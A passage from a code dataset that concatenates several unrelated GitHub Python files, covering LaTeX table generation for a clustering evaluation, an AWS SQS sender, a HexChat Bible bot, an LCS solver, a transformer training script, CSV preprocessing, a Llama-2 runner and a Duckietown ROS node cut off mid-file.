'label': 'tab:times',\n    #          'metrics': {'vectorizer_time': 'Vector.', 'algorithm_time': 'Cluster.', 'total_time': 'Total'},\n    #          'columns': {'dataset': 'Dataset', 'algorithm': 'Algorithm', 'vectorizer_name': 'Embed.'},\n    #          'min_max_func': pd.Series.min,\n    #          'wide': False},\n    sets = [{'name': 'table_results.tex',\n             'caption': 'Assessment of clustering quality using the metrics: '\n                        'AMI, ARI, V-Measure (\\\\textit{VM}), Micro-F1 (\\\\textit{Mic-F1}) '\n                        'and Macro-F1 (\\\\textit{Mac-F1}), and of clustering speed based '\n                        'on measurements of the vectorization time (\\\\textit{Vector.}), '\n                        'clustering time (\\\\textit{Cluster.}), and their sum (\\\\textit{Total})',\n             'label': 'tab:results',\n             'metrics': {'ami': 'AMI', 'ari': 'ARI', 'v-measure': 'VM',\n                         'micro_f1': 'Mic-F1', 'macro_f1': 'Mac-F1',\n                         'vectorizer_time': 'Vector.', 'algorithm_time': 'Cluster.',\n                         'total_time': 'Total'},\n             'columns': {'dataset': 'Dataset', 'algorithm': 'Algorithm',\n                         'vectorizer_name': 'Embed.'},\n             'min_max_func': pd.Series.max,\n             'wide': True}\n            ]\n\n    time_metrics = {'vectorizer_time', 'algorithm_time', 'total_time'}\n\n    df = pd.read_csv(AGGREGATED_FULL_PATH)\n    df = sort_df(df)\n\n    for table in sets:\n        metrics = table['metrics']\n        columns = table['columns']\n        caption = table['caption']\n        label = table['label']\n        wide = table['wide']\n\n        columns.update(metrics)\n\n        opening, fields_spec, ending, columns_names = prepare_table(columns, metrics, caption, label, wide)\n\n        body = ''\n        for dataset, df_group in df.groupby('dataset'):\n            body += f\"\\\\multirow[t]{{{len(df_group)}}}{{*}}{dataset}\\n\"\n            bolds = {}\n            for metric in metrics.keys():\n                values = df_group[metric].round(0 if metric in time_metrics else 2)\n                func = pd.Series.min if metric in time_metrics else pd.Series.max\n                bolds[metric] = pd.Series(np.isclose(values, func(values)), values.index)\n            for i, row in df_group.iterrows():\n                body += f\" & {row['algorithm']} & {row['vectorizer_name']} & \"\n                metrics_latex = []\n                for metric in metrics:\n                    metric_latex = f'{format_seconds(row[metric])}' if metric in time_metrics else f'{row[metric]:.2f}'\n                    if bolds[metric][i]:\n                        metric_latex = f\"\\\\textbf{{\" + metric_latex + f\"}}\"\n                    metrics_latex.append(metric_latex)\n                body += \" & \".join(metrics_latex)\n                body += \" \\\\\\\\\\n\"\n            body += \"\\\\hline\\n\"\n        latex = f'{opening}{fields_spec}\\n{columns_names}\\n{body}\\n{ending}'\n        with open(os.path.join(TABLES_FULL_PATH, table['name']), \"wt\") as f:\n            f.write(latex)\n\n\ndef create_datasets_table():\n\n    fields = {\n        # 'n_samples_org': '\\\\# Texts',\n        # 'n_samples': '\\\\# Used',\n        'n_samples': '\\\\# Texts',\n        'word_count_mean': '\\\\# Words',\n        'n_clusters': '\\\\# Classes',\n    }\n    columns = {\n        'dataset': 'Dataset'\n    }\n    columns.update(fields)\n\n    df = pd.read_csv(DATASETS_METADATA_FULL_PATH)\n    df = df.sort_values(by='n_samples_org')\n\n    # 'The column \\\\textit{\\\\# Used} indicates the number of texts used in this evaluation. ' \\\n    caption = 'Benchmark datasets for evaluation. ' \\\n              'The column \\\\textit{\\\\# Texts} indicates the number of texts in the dataset. ' \\\n              'The column \\\\textit{\\\\# Words} shows the average text length in terms of word-count in the dataset, ' \\\n              'and \\\\textit{\\\\# Classes} shows the number of classes in the dataset.'\n    label = 'tab:datasets'\n\n    opening, fields_spec, ending, columns_names = prepare_table(columns, fields, caption, label, False)\n\n    body = ''\n    for i, row in df.iterrows():\n        values = [int(round(row[col])) if isinstance(row[col], float) else row[col] for col in columns]\n        values = [f'{v:,}' if isinstance(v, int) else v for v in values]\n        body += \" & \".join(values)\n        body += \" \\\\\\\\\\n\"\n        body += \"\\\\hline\\n\"\n\n    latex = f'{opening}{fields_spec}\\n{columns_names}\\n{body}\\n{ending}'\n    with open(os.path.join(TABLES_FULL_PATH, 'table_datasets.tex'), \"wt\") as f:\n        f.write(latex)\n\n\ndef prepare_table(columns, fields, caption, label, wide):\n    wide_opening = f'\\\\begin{{adjustwidth}}{{-\\\\extralength}}{{0cm}}\\n' if wide else ''\n    wide_ending = f'\\\\end{{adjustwidth}}\\n' if wide else ''\n    opening = f\"\\\\begin{{table}}[]\\n\\\\caption{{{caption}}}\\n\\\\centering\\n{wide_opening}\\\\begin{{tabular}}\"\n    ending = f\"\\\\end{{tabular}}\\n{wide_ending}\\\\label{{{label}}}\\n\\\\end{{table}}\"\n    fields_spec = f\"{{|\" + \" | \".join([\"l\"] * (len(columns) - len(fields)) + [\"c\"] * len(fields)) + f\"|}}\\n\"\n    columns_names = \"\\\\hline\\n\" + \" & \".join(map(lambda x: '\\\\textbf{' + x + '}', columns.values())) + \"\\\\\\\\\\\\hline\\n\"\n    return opening, fields_spec, ending, columns_names\n\n\ndef main():\n    compute_metrics()\n    aggregate_runs()\n    create_plots()\n    create_results_table()\n    create_datasets_table()\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"IBM/sib","sub_path":"examples/ex3_sib_vs_kmeans_eval.py","file_name":"ex3_sib_vs_kmeans_eval.py","file_ext":"py","file_size_in_byte":16218,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"3"}
+{"seq_id":"10950635564","text":"import boto3\n# Get the service resource\nsqs = boto3.resource('sqs')\n\nfrom datetime import datetime\n\ntimestamp = datetime.utcnow().replace(microsecond=0).isoformat()\n\n# # Create the queue. This returns an SQS.Queue instance\n# queue = sqs.create_queue(QueueName='test', Attributes={'DelaySeconds': '5'})\n\n# # You can now access identifiers and attributes\n# print(queue.url)\n# print(queue.attributes.get('DelaySeconds'))\n\n# Get the queue\nqueue = sqs.get_queue_by_name(QueueName='test')\n\nmessage = \"Manually... The time now is: \" + timestamp\n\n# Create a new message\nresponse = queue.send_message(MessageBody=message)\n\n# The response is NOT a resource, but gives you a message ID and MD5\nprint(response.get('MessageId'))\nprint(response.get('MD5OfMessageBody'))","repo_name":"graceivy/exercise","sub_path":"python/aws/sqs.py","file_name":"sqs.py","file_ext":"py","file_size_in_byte":755,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"43112706055","text":"__module_name__,__module_version__=(\"BOT\",\"0.9.0\")\n__module_description__=\"Bible bot for displaying and searching bible texts\"\nprint(\"\\0034\"+__module_name__+\" \"+__module_version__+\" loaded\\003\")\nimport collections,re,string,threading,time,xchat\nprint(time.ctime()+\" loading versions ... \")\n###\n# module variables\n###\ncmdc=\";\"\nfileName=\"/home/philip/.config/hexchat/addons/Apologia/resources/<n>.properties\"\nsplit,strip,upper=(str.split,str.strip,str.upper)\nOrderedDict,Thread=(collections.OrderedDict,threading.Thread)\njoin,lower,replace=(str.join,str.lower,str.replace)\nbold,red,underline=(\"\\002\",\"\\0034\",\"\\010\")\nversions={}\n###\n# get bible book names and then version names\n###\nbookName,versionName=(OrderedDict(),OrderedDict())\nbn=replace(fileName,\"<n>\",\"Biblebooks\")\nwith open(bn,\"r\") as booksFile:\n\tfor line in booksFile:\n\t\tk,n=split(line,\"=\")\n\t\tn=replace((replace(n,\"\\r\",\"\")),\"\\n\",\"\")\n\t\tbookName[k]=n\nvn=replace(fileName,\"<n>\",\"BibleVersions\")\nwith open(vn,\"r\") as versionsFile:\n\tfor line in versionsFile:\n\t\tk,n=split(line,\"=\")\n\t\tn=replace((replace(n,\"\\r\",\"\")),\"\\n\",\"\")\n\t\tversionName[k]=n\n###\n# helper functions\n###\ndef displayPassage(version,book,ref,xcContext):\n\t'''\n\tdisplay a passage from a selected bible in the current hexchat context.\n\t'''\n\treflist=decodeRef(ref)\n\tchapter=reflist[0]\n\tfirst,last=(0,0)\n\ttry:\n\t\tif len(reflist)==2: first,last=(int(reflist[1]),int(reflist[1]))\n\t\telif len(reflist)==3: \n\t\t\tfirst,last=(int(reflist[1]),int(reflist[2]))\n\t\t\tif last<=first: last=first\n\t\telse:\n\t\t\tsay(\"passage reference: \"+bold+ref+bold+\" is incorrect\",xcContext)\n\t\t\treturn \n\texcept:\n\t\tsay(\"passage reference: \"+bold+ref+bold+\" is incorrect\",xcContext)\n\t\treturn\n\tkeylist=[]\n\tif lower(book) in [\"ccc\",\"cct\"]: last=first # allow only one CCC verse\n\tif (last-first)>3: last=first+3\n\tfor i in range(first,last+1):\n\t\ts=book+chapter+\"_\"+str(i)\n\t\tkeylist.append(s)\n\tverses=versions[version]\n\tfor k in keylist:\n\t\ttry:\n\t\t\tref=refExpander(k)\n\t\t\tsay(bold+ref+bold+\" \"+verses[k],xcContext)\n\t\texcept:\n\t\t\tsay(\"I could not find \"+bold+refExpander(k)+bold,xcContext)\ndef searchVersion(version,phrase,xcContext):\n\t'''\n\tsearch a bible for a phrase or for a set of words enclosed in [],(), or {}\n\t(technically the enclosure need not be closed with a ],),or })\n\tand display the search results in the current hexchat context.\n\t'''\n\tss=\"\"\n\tverses,foundVerses=(versions[version],OrderedDict())\n\ti,max=(0,20)\n\t###\n\t# search by set of words\n\t###\n\tif (strip(phrase)[0]) in (\"[\",\"{\",\"(\"):\n\t\ts,b=(\"[{()}]\",\"      \")\n\t\ttable=string.maketrans(s,b)\n\t\tsp=strip(string.translate(phrase,table))\n\t\tsp=lower(removePunctuation(sp))\n\t\tswords=set(split(sp,\" \"))\n\t\twc=len(swords)\n\t\tfor k in verses:\n\t\t\tverse=lower(removePunctuation(verses[k]))\n\t\t\tvwords=set(split(strip(verse)))\n\t\t\tif swords.issubset(vwords):\n\t\t\t\ti=i+1\n\t\t\t\tif i>max: break # stop reading verses\n\t\t\t\tfoundVerses[k]=verses[k]\n\t\t\t\tref=refExpander(k)\n\t\t\t\tif i==1: ss=\"found in \"+version+\": \"+ref\n\t\t\t\telse: ss=ss+\", \"+ref\n\t###\n\t# search by phrase\n\t###\n\telse:\n\t\trePhrase=r\"\\b\"+lower(phrase)+r\"\\b\"\n\t\tfor k in verses:\n\t\t\tverse=verses[k]\n\t\t\tfoundlist=re.findall(rePhrase,lower(removePunctuation(verse)))\n\t\t\tif len(foundlist)>0:\n\t\t\t\tfoundVerses[k]=verses[k]\n\t\t\t\ti=i+1\n\t\t\t\tif i>max: break # stop reading verses\n\t\t\t\tref=refExpander(k)\n\t\t\t\tif i==1: ss=\"found in \"+version+\": \"+ref\n\t\t\t\telse: ss=ss+\", \"+ref\n\t###\n\t# send search information back to the context from which the request came\n\t###\n\tif i>max: \n\t\tsay(ss+\" ... more than 20 found\",xcContext)\n\t\treturn \n\tif i==0: \n\t\tsay(\"I did not find any occurence of: \"\n\t\t+bold+phrase+bold+\" in version: \"+version,xcContext)\n\t\treturn \n\tsay(ss,xcContext) # say what was found\n\tif i<5: # say the results if 4 or less were found\n\t\tfor fk in foundVerses: \n\t\t\tsay(bold+refExpander(fk)+bold+\" \"+foundVerses[fk],xcContext)\n\t\t\tif lower(version) in [\"ccc\",\"cct\"]: \n\t\t\t\tsay(red+\"because \"+version\n\t\t\t\t+\" sections are large only one is displayed\",xcContext)\n\t\t\t\tbreak\n###\n# utility functions\n###\ndef decodeRef(ref):\n\t'''\n\tdecode a book, chapter, and verse (or verses) reference.\n\t'''\n\ts=\".,:;-_\"\n\tb=\"      \"\n\ttable=string.maketrans(s,b)\n\tr=string.translate(ref,table)\n\treturn split(r)\ndef getVersion(version):\n\t'''\n\tget a bible using its key (usually a three letter abbreviation) as recorded\n\tin a file called \"BibleVersions.properties\"\n\t'''\n\tbv=OrderedDict()\n\tbn=replace(fileName,\"<n>\",strip(version))\n\ttry:\n\t\twith open(bn,\"r\") as properties:\n\t\t\tfor line in properties:\n\t\t\t\tv=split(line,\"=\")\n\t\t\t\tk=strip(v[0])\n\t\t\t\tt=replace(v[1],\"\\r\",\"\")\n\t\t\t\tt=replace(t,\"\\n\",\"\")\n\t\t\t\tbv[k]=strip(t)\n\t\t\treturn bv\n\texcept:\n\t\tbv[\"error\"]=\"I could not find version \"+bold+version+bold\n\t\treturn bv\ndef refExpander(ref):\n\t'''\n\tseparate a reference into book, chapter, and verse components. \n\tbook is the first 3 characters, chapter is the token before a \"_\",\n\tand verse is the token after \"_\".\n\t'''\n\tbook=ref[:3]\n\tbName=bookName[book]\n\tchapter=split(ref[3:],\"_\")[0]+\":\"\n\tverse=split(ref[4:],\"_\")[1]\n\tif bName in [\"CCC\",\"CCT\"]: chapter=\"\"\n\tr = bName+\" \"+chapter+verse\n\treturn r\ndef removePunctuation(s):\n\t'''\n\tthis is redundant and I will remove it soon. \n\tremoved punctuation from a string. \n\t'''\n\ttable=string.maketrans(\"\",\"\")\n\treturn s.translate(table,string.punctuation)\ndef say(ss,xcContext):\n\tif len(ss)<350: xcContext.command(\"SAY \"+ss)\n\telse:\n\t\twhile len(ss)>300:\n\t\t\tpos=ss.find(\" \",300,)\n\t\t\tif pos!=-1:\n\t\t\t\tssp=ss[:pos]\n\t\t\t\tss=ss[pos+1:]\n\t\t\telse:\n\t\t\t\tssp=ss[:300]\n\t\t\t\tss=ss[300:]\n\t\t\txcContext.command(\"SAY \"+ssp)\n\t\txcContext.command(\"SAY \"+ss)\n###\n# callback functions\n###\ndef parseChannelMessage(word,word_eol,userdata):\n\t'''\n\tparses a message that starts with cmdc (command character)\n\tto see if it is a command for this bot or not. If it is\n\tthen formulate a suitable response to the command.\n\tif it isn't then ignore it.\n\t\n\tI removed the threading from the bot because I run it on \n\ta netbook with limited memory and the threads can cause some \n\tmemory problems the way I implemented them. \n\t'''\n\txcContext=xchat.get_context()\n\tsender,message=(word[0],join(\" \",split(word[1])))\n\tfirstchar=message[0]\n\tif firstchar==cmdc:\n\t\tcmd=split(message[1:],\" \")\n\t\tfirstpart=lower(cmd[0])\n\t\tif firstpart==\"versions\":\n\t\t\tss=\"\"\n\t\t\tfor k in versionName:\n\t\t\t\tss=ss+bold+k+bold+\"(\"+versionName[k]+\") \"\n\t\t\tsay(ss,xcContext)\n\t\t\treturn \n\t\tif firstpart==\"help\":\n\t\t\tsay(\"To display a passage type \"+bold+\";rsv John 3:16\"+bold\n\t\t\t+\" all bible book names are abbreviated to their first 3\"\n\t\t\t+\" letters, for example 1Kings is 1ki, John is joh, and so forth.\"\n\t\t\t+\" There are exceptions: Judges is \"+bold+\"jdg,\"+bold\n\t\t\t+\" Judith is \"+bold+\"jdt\"+bold+\", and Philemon is \"\n\t\t\t+bold+\"phm\"+bold,xcContext)\n\t\t\tsay(\"Searching is done by putting a 's' in front of the\"\n\t\t\t+\" version name like this \"+bold+\";skjv God so loved\"+bold\n\t\t\t+\" that will find all the verses in the KJV containing\"\n\t\t\t+\" 'God so loved'\",xcContext)\n\t\t\tsay(\"To display versions type \"+bold+\";versions\"+bold,xcContext)\n\t\t\treturn \n\t\tif firstpart[0]==\"s\": \n\t\t\tversion=upper(firstpart[1:])\n\t\t\tif version not in versionName: return\n\t\t\tphrase=lower(join(\" \",cmd[1:]))\n\t\t\tsearchVersion(version,phrase,xcContext)\n\t\telse:\n\t\t\tif len(cmd)<3:\n\t\t\t\tif len(cmd)==2:\n\t\t\t\t\tif upper(cmd[0]) in [\"CCC\",\"CCT\"]:\n\t\t\t\t\t\tversion=book=upper(cmd[0])\n\t\t\t\t\t\tref=\"1_\"+removePunctuation(cmd[1])\n\t\t\t\t\t\tdisplayPassage(version,book,ref,xcContext)\n\t\t\telif len(cmd)==3: \n\t\t\t\tversion=upper(cmd[0])\n\t\t\t\tif version not in versionName: return\n\t\t\t\tbook=upper(cmd[1])\n\t\t\t\tif book in [\"JUDGES\",\"JUDG\"]: book=\"JDG\"\n\t\t\t\telif book in [\"JUDITH\", \"JUDI\"]: book=\"JDT\"\n\t\t\t\telif book in [\"PHILEMON\",\"PHL\"]: book=\"PHM\"\n\t\t\t\telif book in [\"RUTH\",\"RUT\"]: book=\"RTH\"\n\t\t\t\tbref=book[:3]\n\t\t\t\tref=cmd[2]\n\t\t\t\tdisplayPassage(version,bref,ref,xcContext)\n###\n# get versions\n###\nfor k in versionName: \n\tversions[k]=getVersion(k)\nprint(time.ctime()+\" finished loading\")\n###\n# hooks\n###\nxchat.hook_print(\"Channel Message\", parseChannelMessage)\nxchat.hook_print(\"Private Message to Dialog\", parseChannelMessage)\n","repo_name":"MoreCoffeeX/Hexchat","sub_path":"Apologia.py","file_name":"Apologia.py","file_ext":"py","file_size_in_byte":7926,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"36377282138","text":"#9251번\nimport sys\nread = sys.stdin.readline\ns1, s2 = read().strip(), read().strip()\nh,w = len(s1), len(s2)\nlcs = [[0]*(w+1) for _ in range(h+1)]\n\nfor i in range(1,h+1):\n   for j in range(1,w+1):\n      if s1[i-1] == s2[j-1]:\n         lcs[i][j] = lcs[i-1][j-1] + 1\n      else:\n         lcs[i][j] = max(lcs[i][j-1], lcs[i-1][j])\n\nprint(lcs[-1][-1])","repo_name":"LeeYongIn0517/CodingTest","sub_path":"string/LCS.py","file_name":"LCS.py","file_ext":"py","file_size_in_byte":347,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"34548267911","text":"from argparse import ArgumentParser\nfrom typing import List, Any\nimport torch\nfrom torch import nn\nimport torch.nn.functional as F\nfrom torch.utils.data import DataLoader\nimport pytorch_lightning as pl\nfrom torch.utils.data import random_split\n\nfrom data.dataset.qa_task import BabiQADataset\nfrom data.vocab.word import WordVocab\n\nfrom model.qa_transformer import UniversalTransformer\n\nclass UTWRS(pl.LightningModule):\n\n    def __init__(self, hparams):\n        super().__init__()\n        self.hparams = hparams\n        self.model = UniversalTransformer(\n            enc_seq_len=self.hparams.enc_seq_len,\n            dec_seq_len=self.hparams.dec_seq_len, \n            d_model=self.hparams.d_model,\n            d_inner=self.hparams.d_inner,\n            n_enc_vocab=self.hparams.n_enc_vocab,\n            n_dec_vocab=self.hparams.n_dec_vocab,\n            h=self.hparams.n_heads,\n            t_steps=self.hparams.t_steps,\n            dropout=self.hparams.dropout,\n            sos_index=self.hparams.sos_index\n        )\n\n        self.total_nelement = 0\n        self.total_correct = 0.0\n\n    def forward(self, x):\n        # in lightning, forward defines the prediction/inference actions\n        embedding = self.encoder(x)\n        return embedding\n\n    def on_train_epoch_start(self) -> None:\n        self.total_nelement = 0\n        self.total_correct = 0.0\n\n    def training_step(self, batch, batch_idx):\n        story, _, answer = batch[\"story\"], batch[\"query\"], batch[\"answer\"]\n        story_mask, answer_mask = batch[\"story_mask\"], batch[\"answer_mask\"]\n\n        output = self.model(story, answer, story_mask, answer_mask)\n        loss = F.nll_loss(output.transpose(-1, 1), answer)\n        output_word = output.exp().argmax(dim=-1)\n        correct = output_word.eq(answer).sum().float()\n        acc = correct / answer.nelement() * 100\n\n        self.total_correct += correct.detach()\n        self.total_nelement += story.size(0)\n\n        self.log('train_acc_step', acc, on_step=True, on_epoch=False)\n        self.log('train_loss_step', loss, on_step=True, on_epoch=False)\n        return loss\n\n    def training_epoch_end(self, outputs):\n        avg_loss = torch.stack([x['loss'] for x in outputs]).mean()\n        avg_acc = self.total_correct / self.total_nelement * 100.0\n        tensorboard_logs = {'train_acc_epoch': avg_acc, 'train_loss_epoch': avg_loss}\n        self.logger.agg_and_log_metrics(tensorboard_logs, step=self.current_epoch)\n\n    def on_test_epoch_start(self) -> None:\n        self.total_nelement = 0\n        self.total_correct = 0.0\n\n    def test_step(self, batch, batch_idx):\n        story, _, answer = batch[\"story\"], batch[\"query\"], batch[\"answer\"]\n        story_mask, answer_mask = batch[\"story_mask\"], batch[\"answer_mask\"]\n\n        output = self.model(story, answer, story_mask, answer_mask)\n        loss = F.nll_loss(output.transpose(-1, 1), answer)\n        output_word = output.exp().argmax(dim=-1)\n        correct = output_word.eq(answer).sum().float()\n\n        self.total_correct += correct.detach()\n        self.total_nelement += story.size(0)\n\n        return {'test_loss': loss}\n\n    def test_epoch_end(self, outputs):\n        test_loss_mean = torch.stack([x['test_loss'] for x in outputs]).mean()\n        test_acc_mean = self.total_correct / self.total_nelement * 100.0\n\n        tensorboard_logs = {'test_loss': test_loss_mean, \"test_acc\": test_acc_mean, 'step': self.current_epoch}\n        # self.logger.agg_and_log_metrics(tensorboard_logs, step=self.current_epoch)\n        return {'log': tensorboard_logs}\n\n    def configure_optimizers(self):\n        optimizer = torch.optim.Adam(self.parameters(), lr=self.hparams.lr)\n        return optimizer\n\n    @staticmethod\n    def add_model_specific_args(parent_parser):\n        parser = ArgumentParser(parents=[parent_parser], add_help=False)\n        parser.add_argument('--lr', type=float, default=0.001)\n        parser.add_argument('--d_model', default=64, type=int)\n        parser.add_argument('--d_inner', default=256, type=int)\n        parser.add_argument('--dropout', default=0, type=float)\n        parser.add_argument('--n_heads', default=8, type=int)\n        parser.add_argument('--t_steps', default=4, type=int)\n        parser.add_argument('--sos_index', default=1, type=int)\n        return parser\n\n\ndef cli_main():\n    pl.seed_everything(1234)\n\n    # ------------\n    # args\n    # ------------\n    parser = ArgumentParser()\n    parser.add_argument('--batch_size', default=32, type=int)\n    parser = UTWRS.add_model_specific_args(parser)\n    parser = pl.Trainer.add_argparse_args(parser)\n\n    # ------------\n    # data\n    # ------------\n    word_vocab = WordVocab.load_vocab(\"babi-qa/vocab/task16_vocab.pkl\")\n    answer_vocab = WordVocab.load_vocab(\"babi-qa/vocab/task16_answer_vocab.pkl\")\n\n    babiqa_train = BabiQADataset(\"babi-qa/task16_train.txt\", word_vocab, answer_vocab, story_len=14, seq_len=6)\n    babiqa_test = BabiQADataset(\"babi-qa/task16_test.txt\", word_vocab, answer_vocab, story_len=14, seq_len=6)\n\n    # ------------\n    # data args\n    # ------------\n    parser.add_argument('--enc_seq_len', default=14, type=int)\n    parser.add_argument('--dec_seq_len', default=1, type=int)\n    parser.add_argument('--n_enc_vocab', default=len(word_vocab), type=int)\n    parser.add_argument('--n_dec_vocab', default=len(word_vocab), type=int)\n    \n\n    # ------------\n    # data loader\n    # ------------\n    args = parser.parse_args()\n    train_loader = DataLoader(babiqa_train, batch_size=args.batch_size)\n    test_loader = DataLoader(babiqa_test, batch_size=args.batch_size)\n\n    # ------------\n    # model\n    # ------------\n    \n    model = UTWRS(args)\n\n    # ------------\n    # training\n    # ------------\n    trainer = pl.Trainer.from_argparse_args(args)\n    trainer.fit(model, train_loader)\n\n    # ------------\n    # testing\n    # ------------\n    result = trainer.test(test_dataloaders=test_loader)\n    print(result)\n\n\nif __name__ == '__main__':\n    cli_main()\n","repo_name":"guyleaf/FLVCD","sub_path":"train_lightning/train_qa.py","file_name":"train_qa.py","file_ext":"py","file_size_in_byte":5949,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"42451084250","text":"#!/usr/bin/env python\n# @Time    : 2019/3/5 16:29\n# @Author  : wb\n# @File    : process_data.py\n\n# 预处理数据\n\n# 处理数据\n\n# 首先处理 user_balacnce_table表\n\nimport csv\n\n# 读取csv至字典\n# 获取用户余额宝进出项表\nuserbalancetable = open(\"data/user_balance_table.csv\", \"r\")\nreader = csv.reader(userbalancetable)\n\n# 总的数组，数组里面是这些单个的数据\nusers = []\nfor item in reader:\n    # 忽略第一行\n    if reader.line_num == 1:\n        continue\n    # 建立字典\n    user_balance = {}\n\n    user_balance['user_id'] = int(item[0])\n    user_balance['report_date'] = item[1]\n    user_balance['tBalance'] = item[2]\n    user_balance['yBalance'] = item[3]\n    user_balance['total_purchase_amt'] = item[4]\n    user_balance['direct_purchase_amt'] = item[5]\n    user_balance['purchase_bal_amt'] = item[6]\n    user_balance['purchase_bank_amt'] = item[7]\n    user_balance['total_redeem_amt'] = item[8]\n    user_balance['consume_amt'] = item[9]\n    user_balance['transfer_amt'] = item[10]\n    user_balance['tftobal_amt'] = item[11]\n    user_balance['tftocard_amt'] = item[12]\n    user_balance['share_amt'] = item[13]\n    if item[14] != '':\n        user_balance['category1'] = item[14]\n    else:\n        user_balance['category1'] = 0\n    if item[15] != '':\n        user_balance['category2'] = item[15]\n    else:\n        user_balance['category2'] = 0\n    if item[16] != '':\n        user_balance['category3'] = item[16]\n    else:\n        user_balance['category3'] = 0\n    if item[17] != '':\n        user_balance['category4'] = item[17]\n    else:\n        user_balance['category4'] = 0\n\n    users.append(user_balance)\n\nuserbalancetable.close()\n\n# 多级排序\nusers = sorted(users, key=lambda e: (e.__getitem__('user_id'), e.__getitem__('report_date')))\n\nfor user in users:\n    user['user_id'] = str(user['user_id'])\n\n\n# 获取用户信息表\n# userprofiletable = open(\"data/user_profile_table.csv\", \"r\")\n# reader = csv.reader(userprofiletable)\n#\n# for item in reader:\n#     # 忽略第一行\n#     if reader.line_num == 1:\n#         continue\n#\n#     # 将两张表的信息根据user_id合并\n#     for i in users:\n#         if item[0] == i['user_id']:\n#             i['sex'] = item[1]\n#             i['city'] = item[2]\n#             i['constellation'] = item[3]\n#\n# userprofiletable.close()\n\n# print(len(users))\n\n# print(len(user_pros))\n\n# for user in users[:10]:\n#     print(user.values())\n\n# 文件头，一般就是数据名\nfileHeader = users[0].keys()\n\n# 写入数据\n'''\nPython中的csv的writer，打开文件的时候，要小心，\n\n要通过binary模式去打开，即带b的，比如wb，ab+等\n\n而不能通过文本模式，即不带b的方式，w,w+,a+等，否则，会导致使用writerow写内容到csv中时，产生对于的CR，导致多余的空行。\n'''\ncsvFile = open(\"data/new_user_balance.csv\", \"w\", newline='')\nwriter = csv.writer(csvFile)\n\n# 写入的内容都是以列表的形式传入函数\nwriter.writerow(fileHeader)\nfor user in users:\n    writer.writerow(user.values())\n\ncsvFile.close()\n","repo_name":"wangfin/Financial_forecast","sub_path":"process_data.py","file_name":"process_data.py","file_ext":"py","file_size_in_byte":3052,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"3"}
+{"seq_id":"30188579441","text":"import torch\nimport transformers\nfrom transformers import AutoTokenizer\nimport time\nfrom colorama import Fore, Back, Style\n\nif (torch.cuda.is_available()):\n    print(Fore.GREEN + \"CUDA version: \" + torch.version.cuda)\nelse:\n    print(Fore.RED + \"CUDA not found\")\n\nmodel = \"meta-llama/Llama-2-7b-chat-hf\"\nprint(Fore.LIGHTWHITE_EX + \"using model\" + model)\n\ntokenizer = AutoTokenizer.from_pretrained(model)\n\npipeline = transformers.pipeline(\n    \"text-generation\",\n    model=model,\n    torch_dtype=torch.float16,\n    device_map=\"auto\",\n)\nprint(\"\")\nprint(Fore.YELLOW + \"Sample input:\")\ninput_string = 'I liked \"Breaking Bad\" and \"Band of Brothers\". Do you have any recommendations of other shows I might like?\\n'\nprint(Fore.LIGHTWHITE_EX + input_string)\ntry:\n    while True:\n        print(\"\")\n        user_input = input(Fore.YELLOW + \"ENTER a new input string (or press Enter to use the last):\\n\")\n        if user_input:\n            input_string = user_input\n        print(Fore.YELLOW + \"User input:\")\n        print(Fore.BLUE + input_string)\n        print(Fore.YELLOW + '...Please wait patiently for the model to generate a response...')\n        t = time.process_time()\n\n        sequences = pipeline(\n            user_input,\n            do_sample=True,\n            top_k=10,\n            num_return_sequences=1,\n            eos_token_id=tokenizer.eos_token_id,\n            max_length=200,\n        )\n        elapsed_time = time.process_time() - t\n        print(\"\")\n        print(Fore.CYAN + \"Elapsed time: \", elapsed_time)\n        if sequences and 'generated_text' in sequences[0]:\n            print(Fore.LIGHTWHITE_EX + sequences[0][\"generated_text\"])\n        else:\n            print(Fore.RED + \"No text generated found in the first element of the sequence.\")\n\nexcept KeyboardInterrupt:\n    print(Fore.RED + \"\\nUser pressed Ctrl-C. Exiting...\")\n","repo_name":"rayhu/huggingface","sub_path":"run_llama2.py","file_name":"run_llama2.py","file_ext":"py","file_size_in_byte":1840,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"18450718799","text":"#!/usr/bin/env python3\nimport numpy as np\nimport cv2\nimport os\nimport tensorflow as tf\nimport rospy #importar ros para python\nfrom std_msgs.msg import String, Int32 #importa mensajes de ROS tipo String y Int32\nfrom sensor_msgs.msg import Joy # impor mensaje tipo Joy\nfrom geometry_msgs.msg import Twist, Point # importar mensajes de ROS tipo geometry / Twist\nfrom duckietown_msgs.msg import Twist2DStamped \nimport cv2 # importar libreria opencv\nfrom cv_bridge import CvBridge # importar convertidor de formato de imagenes\nimport message_filters\nfrom duckietown.dtros import DTROS, NodeType\nfrom sensor_msgs.msg import CompressedImage, Image, Joy\nfrom duckietown_msgs.msg import WheelsCmdStamped\n\npath = '/code'\n#Se tiene modelo de prueba por defecto en carpeta models\n#Se ejecuta el modelo de red neuronal\n\nclass TemplateNode(DTROS):\n    def __init__(self, node_name):\n        super(TemplateNode, self).__init__(node_name=node_name, node_type=NodeType.GENERIC)\n        vehicle_name = os.environ['VEHICLE_NAME'] \n        self._camera_topic = f\"/{vehicle_name}/camera_node/image/compressed\"\n        #publicar la intrucciones del control en possible_cmd\n        self._wheels_topic=f\"/{vehicle_name}/wheels_driver_node/wheels_cmd\"\n        self._publisher = rospy.Publisher(self._wheels_topic, WheelsCmdStamped, queue_size=1)\n        self.pub_pos = rospy.Publisher(\"/duckiebot/smart\", Point, queue_size = 1) \n        self.twist = Twist2DStamped()\n        self.model = tf.keras.models.load_model(os.path.join(path,\"models\", \"modeloco.h5\"),compile=False)\n        self.model.compile(loss='categorical_crossentropy', optimizer='adam', metrics=['accuracy'])\n    \"\"\"   \n    def check_tensorflow_gpu(self, context: Context):\n        #import tensorflow as tf\n        name = tf.test.gpu_device_name()\n        context.info(f\"gpu_device_name: {name!r} \")\n        if not name:\n            no_hardware_GPU_available(context)\n    \"\"\"   \n\n    def 